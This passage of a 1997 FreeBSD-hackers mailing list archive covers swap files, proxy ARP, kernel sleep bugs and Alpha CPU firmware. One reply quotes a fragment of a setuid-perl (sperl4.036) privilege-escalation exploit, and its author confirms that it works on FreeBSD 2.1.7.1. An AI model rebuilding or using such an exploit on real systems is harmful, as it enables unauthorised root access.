them without first knowing what the card is. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Aug 12 21:25:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA19399 for hackers-outgoing; Tue, 12 Aug 1997 21:25:57 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA19393 for ; Tue, 12 Aug 1997 21:25:52 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wyUyj-00035s-00; Tue, 12 Aug 1997 21:24:13 -0700 Date: Tue, 12 Aug 1997 21:24:12 -0700 (PDT) From: Tom Samplonius To: Douglas Jardine cc: freebsd-hackers@freebsd.org Subject: Re: Memory management details In-Reply-To: <19970813014802.27316.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 12 Aug 1997, Douglas Jardine wrote: > 4)Or for that matter a project to add "swap files"? What is the > maximum number of swap partitions allowed by the architecture? Already done. See man vnconfig. The VM system in FreeBSD is *vastly* different from BSD4.4 > Thanks. > -dj > > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > Tom From owner-freebsd-hackers Tue Aug 12 21:28:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA19597 for hackers-outgoing; Tue, 12 Aug 1997 21:28:53 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA19592 for ; Tue, 12 Aug 1997 21:28:49 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wyV1Z-000365-00; Tue, 12 Aug 1997 21:27:09 -0700 Date: Tue, 12 Aug 1997 21:27:08 -0700 (PDT) From: Tom Samplonius To: Danny Braniss cc: hackers@freebsd.org Subject: Re: PROXY ARP In-Reply-To: <199708121623.TAA17934@sexta.cs.huji.ac.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 12 Aug 1997, Danny Braniss wrote: > Looking at the kernel sources, i see that FreeBsd has fix so > as not to send ARP Reply to the 'wrong' interface, but there are, > IMHO, some other problems. The whole idea of bridging has some problems. Route and/or switch instead. > -- > Daniel Braniss e-mail: danny@cs.huji.ac.il > Institute of Computer Science phone: +972 2 658 4385 > The Hebrew University Fax: +972 2 561 7723 > Jerusalem, Israel > > Tom From owner-freebsd-hackers Tue Aug 12 21:41:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA20461 for hackers-outgoing; Tue, 12 Aug 1997 21:41:06 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA20455; Tue, 12 Aug 1997 21:41:00 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA07651; Tue, 12 Aug 1997 21:43:13 -0700 (PDT) Message-Id: <199708130443.VAA07651@implode.root.com> To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info In-reply-to: Your message of "Tue, 12 Aug 1997 18:10:50 PDT." <199708130110.SAA21060@freefall.freebsd.org> From: David Greenman Reply-To: dg@root.com Date: Tue, 12 Aug 1997 21:43:13 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >it was put onto the sleep queue accidentally by interrupt code >that just had it's proc address by accident? >unlikely. Quite likely. It's fairly easy to have a bug where a resource is exhausted (usually memory) in a subroutine called from an interrupt routine, resulting in a tsleep() if the call to malloc isn't M_NOWAIT. If there happens to be a process running at the time, then that process will be the one bogusly put to sleep. This can obviously cause all sorts of problems, not the least of which is the one you have above. If a process was not running, the system will usually crash when it dereferences a NULL curproc pointer. The fact that the p_wmesg was "swread" is very indicative of this... -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue Aug 12 21:55:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA21145 for hackers-outgoing; Tue, 12 Aug 1997 21:55:27 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA21140 for ; Tue, 12 Aug 1997 21:55:25 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA07728; Tue, 12 Aug 1997 21:57:34 -0700 (PDT) Message-Id: <199708130457.VAA07728@implode.root.com> To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info In-reply-to: Your message of "Tue, 12 Aug 1997 18:59:07 PDT." <33F114EB.167EB0E7@whistle.com> From: David Greenman Reply-To: dg@root.com Date: Tue, 12 Aug 1997 21:57:34 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >the fact that the process got put on the a sleep queue while it was >on the runnable queue. suggests that maybe an interrupt driver >ran 'tsleep' while curproc had the value of this process in it.. >(does it get cleared when the idle process is running, or does it still >point to the last runnable process? >(I guess I'll go look at that). It gets set to NULL when idle is running. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Tue Aug 12 22:00:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA21479 for hackers-outgoing; Tue, 12 Aug 1997 22:00:57 -0700 (PDT) Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA21473 for ; Tue, 12 Aug 1997 22:00:52 -0700 (PDT) Received: from sexta.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA06558 (5.67b/HUJI 4.153 for ); Wed, 13 Aug 1997 08:00:10 +0300 Received: from sexta.cs.huji.ac.il (danny@localhost [127.0.0.1]) by sexta.cs.huji.ac.il (8.8.5/1.1c) with ESMTP id IAA19683; Wed, 13 Aug 1997 08:00:09 +0300 (IDT) Message-Id: <199708130500.IAA19683@sexta.cs.huji.ac.il> To: Tom Samplonius Cc: hackers@FreeBSD.ORG Subject: Re: PROXY ARP In-Reply-To: Your message of "Tue, 12 Aug 1997 21:27:08 PDT." Date: Wed, 13 Aug 1997 08:00:09 +0300 From: Danny Braniss Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message you write: } }On Tue, 12 Aug 1997, Danny Braniss wrote: } }> Looking at the kernel sources, i see that FreeBsd has fix so }> as not to send ARP Reply to the 'wrong' interface, but there are, }> IMHO, some other problems. } } The whole idea of bridging has some problems. Route and/or switch }instead. } }Tom } Agreed, but in my case there is no such box available - im trying to bridge an ethernet-lan with a 2gb network (Myrinet). danny From owner-freebsd-hackers Tue Aug 12 23:11:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA27023 for hackers-outgoing; Tue, 12 Aug 1997 23:11:15 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA27013 for ; Tue, 12 Aug 1997 23:11:12 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wyWce-00039R-00; Tue, 12 Aug 1997 23:09:32 -0700 Date: Tue, 12 Aug 1997 23:09:31 -0700 (PDT) From: Tom Samplonius To: Danny Braniss cc: hackers@freebsd.org Subject: Re: PROXY ARP In-Reply-To: <199708130500.IAA19683@sexta.cs.huji.ac.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Danny Braniss wrote: > In message you write: > } > }On Tue, 12 Aug 1997, Danny Braniss wrote: > } > }> Looking at the kernel sources, i see that FreeBsd has fix so > }> as not to send ARP Reply to the 'wrong' interface, but there are, > }> IMHO, some other problems. > } > } The whole idea of bridging has some problems. Route and/or switch > }instead. > } > }Tom > } > > Agreed, but in my case there is no such box available - im trying to > bridge an ethernet-lan with a 2gb network (Myrinet). If you can connect the myrinet to the FreeBSD can't you just route between the two? > danny > > Tom From owner-freebsd-hackers Wed Aug 13 00:02:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA00413 for hackers-outgoing; Wed, 13 Aug 1997 00:02:33 -0700 (PDT) Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA00402 for ; Wed, 13 Aug 1997 00:02:25 -0700 (PDT) Received: from sexta.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA07339 (5.67b/HUJI 4.153 for ); Wed, 13 Aug 1997 09:25:42 +0300 Received: from sexta.cs.huji.ac.il (danny@localhost [127.0.0.1]) by sexta.cs.huji.ac.il (8.8.5/1.1c) with ESMTP id JAA19922; Wed, 13 Aug 1997 09:25:42 +0300 (IDT) Message-Id: <199708130625.JAA19922@sexta.cs.huji.ac.il> X-Mailer: exmh version 2.0gamma 1/27/96 To: Tom Samplonius Cc: hackers@FreeBSD.ORG Subject: Re: PROXY ARP In-Reply-To: Your message of Tue, 12 Aug 1997 23:09:31 -0700 (PDT) . Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 13 Aug 1997 09:25:41 +0300 From: Danny Braniss Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message you write: } }On Wed, 13 Aug 1997, Danny Braniss wrote: }> Agreed, but in my case there is no such box available - im trying to }> bridge an ethernet-lan with a 2gb network (Myrinet). } } If you can connect the myrinet to the FreeBSD can't you just route }between the two? } }Tom } Our intranet has over 400 hosts, and the current setup is a flat switched network, which will be split in 2 by the end of October. Further splitting will mean more routes/routers/headaches - not to mention changing ip-addresses. danny From owner-freebsd-hackers Wed Aug 13 00:28:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA01624 for hackers-outgoing; Wed, 13 Aug 1997 00:28:56 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA01619 for ; Wed, 13 Aug 1997 00:28:53 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00176; Wed, 13 Aug 1997 00:27:55 -0700 (PDT) Date: Wed, 13 Aug 1997 00:27:54 -0700 (PDT) From: "Jamil J. Weatherbee" To: Danny Braniss cc: hackers@FreeBSD.ORG Subject: Re: PROXY ARP In-Reply-To: <199708121623.TAA17934@sexta.cs.huji.ac.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'll let you in on another little secret too, rarpd under freebsd (which uses bpf {oddly?}) does not work half the time, sometimes it must be restarted to get it to answer rarp requests, I also have two interfaces and only one little machine requiring a rarp server on my network -- but even that is a thorough pain (I'll be replacing it with a freebsd machine soon) On Tue, 12 Aug 1997, Danny Braniss wrote: > From: Danny Braniss > > hello all, > I guess this is more a Net/3 item but ... > > I'm trying to set up a host with 2 NICS, and want it to act as > a proxy arp gateway/router (I think the term is L2-Bridging?). > > Looking at the kernel sources, i see that FreeBsd has fix so > as not to send ARP Reply to the 'wrong' interface, but there are, > IMHO, some other problems. > > Since im not sure this is the correct forum, if someone out > there is willing to hear me out, i'll be much oblidged. > > danny > > -- > Daniel Braniss e-mail: danny@cs.huji.ac.il > Institute of Computer Science phone: +972 2 658 4385 > The Hebrew University Fax: +972 2 561 7723 > Jerusalem, Israel > From owner-freebsd-hackers Wed Aug 13 00:30:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA01775 for hackers-outgoing; Wed, 13 Aug 1997 00:30:48 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA01745 for ; Wed, 13 Aug 1997 00:30:25 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id OAA07948; Wed, 13 Aug 1997 14:30:36 +0700 (OSD) Date: Wed, 13 Aug 1997 14:30:35 +0700 (OSD) From: Eugeny Kuzakov To: "Lenzi, Sergio" cc: hackers@FreeBSD.ORG Subject: Re: Security hole script. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Lenzi, Sergio wrote: > > > Hello all. > > Here is the "script" that opens a hole in our FreeBSD 2.2.2... > > from a friend of mine (lgarcia@netlan.com.br) > ---------------------------cut------------------------------- > > execl("/usr/bin/sperl4.036", "/usr/bin/sperl4.036", buf, NULL); > } > > ---------------------------------------------------------cut--------- I tested it on FreeBSD 2.1.7.1. It works fine ! :) Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Wed Aug 13 00:33:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA01927 for hackers-outgoing; Wed, 13 Aug 1997 00:33:35 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA01922 for ; Wed, 13 Aug 1997 00:33:32 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00195; Wed, 13 Aug 1997 00:32:30 -0700 (PDT) Date: Wed, 13 Aug 1997 00:32:30 -0700 (PDT) From: "Jamil J. Weatherbee" To: "Daniel O'Callaghan" cc: Jaye Mathisen , hackers@FreeBSD.ORG Subject: Re: What's the interest in standard tools rewritten in perl? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hell, let's be like linux people and build a perl interpreter into the kernel --- then perl scripts and byte code (does that even exist) can be directly executed. :) From owner-freebsd-hackers Wed Aug 13 00:57:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA02847 for hackers-outgoing; Wed, 13 Aug 1997 00:57:45 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA02840 for ; Wed, 13 Aug 1997 00:57:42 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id AAA00302 for ; Wed, 13 Aug 1997 00:57:06 -0700 (PDT) Date: Wed, 13 Aug 1997 00:57:05 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@FreeBSD.ORG Subject: FreeBSD --- ALPHA In-Reply-To: <19970813014802.27316.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I was looking at alpha motherboards / systems tonight when I noted that there are actually two different versions of the 500MHz 21164, an NT (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is different and more expensive but will run NT also (the reverse is not true). So what processor will freebsd-alpha run on, and Is the UNIX version actually better or what? From owner-freebsd-hackers Wed Aug 13 01:42:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA04907 for hackers-outgoing; Wed, 13 Aug 1997 01:42:01 -0700 (PDT) Received: from shadows.aeon.net (bsdhack@shadows.aeon.net [194.100.41.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA04887 for ; Wed, 13 Aug 1997 01:41:54 -0700 (PDT) Received: (from bsdhack@localhost) by shadows.aeon.net (8.8.7/8.8.3) id LAA12281 for hackers@freebsd.org; Wed, 13 Aug 1997 11:40:23 +0300 (EET DST) From: mika ruohotie Message-Id: <199708130840.LAA12281@shadows.aeon.net> Subject: asustek tx97-e To: hackers@freebsd.org Date: Wed, 13 Aug 1997 11:40:22 +0300 (EET DST) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hmm, i think this might've gone to the hardware instead, but i post it here... anyone have a program (or an idea if it's possible) to read my motherboard's temperature on the fly... as far as i know the board is shipped with a proggie that tells it to windows, thus it should be rather trivial to find out the way the board tells the temp, and make a proggie... it'd be nice to see how hot my machine is without being in need to go to the setup... mickey From owner-freebsd-hackers Wed Aug 13 01:42:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA04970 for hackers-outgoing; Wed, 13 Aug 1997 01:42:50 -0700 (PDT) Received: from polya.blah.org (slmel11p19.ozemail.com.au [203.108.200.35]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA04965 for ; Wed, 13 Aug 1997 01:42:44 -0700 (PDT) Received: (from ada@localhost) by polya.blah.org (8.8.6/8.8.5) id SAA13894; Wed, 13 Aug 1997 18:41:56 +1000 (EST) From: Ada T Lim Message-Id: <199708130841.SAA13894@polya.blah.org> Subject: Re: FreeBSD --- ALPHA In-Reply-To: from "Jamil J. Weatherbee" at "Aug 13, 97 00:57:05 am" To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Wed, 13 Aug 1997 18:41:56 +1000 (EST) Cc: freebsd-hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I was looking at alpha motherboards / systems tonight when I noted that > there are actually two different versions of the 500MHz 21164, an NT > (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is > different and more expensive but will run NT also (the reverse is not > true). So what processor will freebsd-alpha run on, and Is the UNIX > version actually better or what? I believe this is a DEC marketing ploy - Digital Unix may test for the different processor and fail on the cheap one, simply so they can subsidise the cost of Digital Unix without making it look _too_ expensive. Ada From owner-freebsd-hackers Wed Aug 13 02:35:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA07089 for hackers-outgoing; Wed, 13 Aug 1997 02:35:49 -0700 (PDT) Received: from csnet.cs.technion.ac.il (csnet.cs.technion.ac.il [132.68.32.7]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA07084 for ; Wed, 13 Aug 1997 02:35:38 -0700 (PDT) Received: from csd.csa (csd [132.68.32.8]) by csnet.cs.technion.ac.il (8.6.11/8.6.10) with ESMTP id MAA08578; Wed, 13 Aug 1997 12:35:21 +0300 Received: from localhost by csd.csa (SMI-8.6/SMI-SVR4) id MAA08194; Wed, 13 Aug 1997 12:35:19 +0300 Date: Wed, 13 Aug 1997 12:35:19 +0300 (IDT) From: Nadav Eiron X-Sender: nadav@csd To: Ada T Lim cc: "Jamil J. Weatherbee" , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-Reply-To: <199708130841.SAA13894@polya.blah.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Ada T Lim wrote: > > > > I was looking at alpha motherboards / systems tonight when I noted that > > there are actually two different versions of the 500MHz 21164, an NT > > (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is > > different and more expensivebut will run NT also (the reverse is not > > true). So what processor will freebsd-alpha run on, and Is the UNIX > > version actually better or what? > > I believe this is a DEC marketing ploy - Digital Unix may test for the > different processor and fail onthe cheap one, simply so they can subsidise > the cost of Digital Unix without making it look _too_ expensive. > > Ada > Or rather, the NT version has just the ARC console/PALcode and the UNIX version also has SRM. Nadav From owner-freebsd-hackers Wed Aug 13 03:44:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA10064 for hackers-outgoing; Wed, 13 Aug 1997 03:44:27 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA10059 for ; Wed, 13 Aug 1997 03:44:24 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id DAA22393; Wed, 13 Aug 1997 03:43:13 -0700 (PDT) To: Ada T Lim cc: jamil@counterintelligence.ml.org (Jamil J. Weatherbee), freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-reply-to: Your message of "Wed, 13 Aug 1997 18:41:56 +1000." <199708130841.SAA13894@polya.blah.org> Date: Wed, 13 Aug 1997 03:43:13 -0700 Message-ID: <22390.871468993@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Naw, it's probably just a standard alpha motherboard and CPU with the SRM console instead of the ARC console code. That's another IBU within DEC and they have their own little surcharges for using SRM which get passed on to the consumer. Jordan > > > > I was looking at alpha motherboards / systems tonight when I noted that > > there are actually two different versions of the 500MHz 21164, an NT > > (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is > > different and more expensive but will run NT also (the reverse is not > > true). So what processor will freebsd-alpha run on, and Is the UNIX > > version actually better or what? > > I believe this is a DEC marketing ploy - Digital Unix may test for the > different processor and fail on the cheap one, simply so they can subsidise > the cost of Digital Unix without making it look _too_ expensive. > > Ada From owner-freebsd-hackers Wed Aug 13 04:09:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA11267 for hackers-outgoing; Wed, 13 Aug 1997 04:09:12 -0700 (PDT) Received: from shadows.aeon.net (bsdhack@shadows.aeon.net [194.100.41.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA11260 for ; Wed, 13 Aug 1997 04:09:04 -0700 (PDT) Received: (from bsdhack@localhost) by shadows.aeon.net (8.8.7/8.8.3) id OAA13366; Wed, 13 Aug 1997 14:05:59 +0300 (EET DST) From: mika ruohotie Message-Id: <199708131105.OAA13366@shadows.aeon.net> Subject: Re: vm_fault problem (fwd) In-Reply-To: <19970808023849.48031@grendel.IAEhv.nl> from Peter Korsten at "Aug 8, 97 02:38:49 am" To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Wed, 13 Aug 1997 14:05:59 +0300 (EET DST) Cc: donal@brewich.com, hackers@FreeBSD.ORG, dwhite@gdi.uoregon.edu X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Too bad that you don't mention what the setup used to be. What I'dA > suggest, is: > - Buy a quality motherboard, like Asus or Tyan. 'Gigabyte' > doesn't ring a bell, but that could be just me. gigabyte _is_ a quality board, so it's just you. i've used HX gigabytes with success, ofcourse, board can be always broken. generally asus gives me more headache than gigabyte, also with 66 meg bus gigabyte is way faster than asus, it's only little slower than tyans... mickey From owner-freebsd-hackers Wed Aug 13 04:45:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA12461 for hackers-outgoing; Wed, 13 Aug 1997 04:45:54 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA12456 for ; Wed, 13 Aug 1997 04:45:51 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id EAA02444; Wed, 13 Aug 1997 04:38:50 -0700 (PDT) Message-Id: <199708131138.EAA02444@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Ada T Lim Cc: jamil@counterintelligence.ml.org (Jamil J. Weatherbee), freebsd-hackers@freebsd.org Subject: Re: FreeBSD --- ALPHA Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 13 Aug 1997 04:38:49 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997 18:41:56 +1000 (EST) Ada T Lim wrote: > I believe this is a DEC marketing ploy - Digital Unix may test for the > different processor and fail on the cheap one, simply so they can subsidise > the cost of Digital Unix without making it look _too_ expensive. No. The "cheap" ones are incapable of running other than NT PALcode. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Wed Aug 13 04:47:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA12538 for hackers-outgoing; Wed, 13 Aug 1997 04:47:58 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA12529 for ; Wed, 13 Aug 1997 04:47:56 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id EAA02495; Wed, 13 Aug 1997 04:40:50 -0700 (PDT) Message-Id: <199708131140.EAA02495@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Nadav Eiron Cc: Ada T Lim , "Jamil J. Weatherbee" , freebsd-hackers@freebsd.org Subject: Re: FreeBSD --- ALPHA Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 13 Aug 1997 04:40:49 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997 12:35:19 +0300 (IDT) Nadav Eiron wrote: > Or rather, the NT version has just the ARC console/PALcode and the UNIX > version also has SRM. It is not a matter of thich firmware the machine _comes_ with. It is an issue of which PALcode the processor is capable of running. Yes, I think this was a really stupid move on DEC's part. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Wed Aug 13 05:21:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA13862 for hackers-outgoing; Wed, 13 Aug 1997 05:21:21 -0700 (PDT) Received: from obiwan.psinet.net.au (obiwan.psinet.net.au [203.19.28.59]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA13848 for ; Wed, 13 Aug 1997 05:21:15 -0700 (PDT) Received: from localhost (adrian@localhost) by obiwan.psinet.net.au (8.8.5/8.8.5) with SMTP id TAA07020 for ; Wed, 13 Aug 1997 19:50:09 +0800 (WST) Date: Wed, 13 Aug 1997 19:50:09 +0800 (WST) From: Adrian Chadd To: freebsd-hackers@freebsd.org Subject: Information on using the BPF? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi. I'm going to be using the bpf for an upcoming project, and save reading tcpdump source, is there a good source of information on how to program it? (I'd rather talk directly to it rather than via a library or some other front end, this thing needs to run rather quickly ;) Thanks, -- Adrian Chadd | "Unix doesn't stop you from doing | stupid things because that would | stop you from doing clever things" From owner-freebsd-hackers Wed Aug 13 06:18:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA16838 for hackers-outgoing; Wed, 13 Aug 1997 06:18:11 -0700 (PDT) Received: from plains.NoDak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA16821 for ; Wed, 13 Aug 1997 06:17:52 -0700 (PDT) Received: (from tinguely@localhost) by plains.NoDak.edu (8.8.5/8.8.5) id IAA15932; Wed, 13 Aug 1997 08:17:32 -0500 (CDT) Date: Wed, 13 Aug 1997 08:17:32 -0500 (CDT) From: Mark Tinguely Message-Id: <199708131317.IAA15932@plains.NoDak.edu> To: adrian@obiwan.psinet.net.au, freebsd-hackers@FreeBSD.ORG Subject: Re: Information on using the BPF? Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm going to be using the bpf for an upcoming project, and save reading > tcpdump source, is there a good source of information on how to program > it? (I'd rather talk directly to 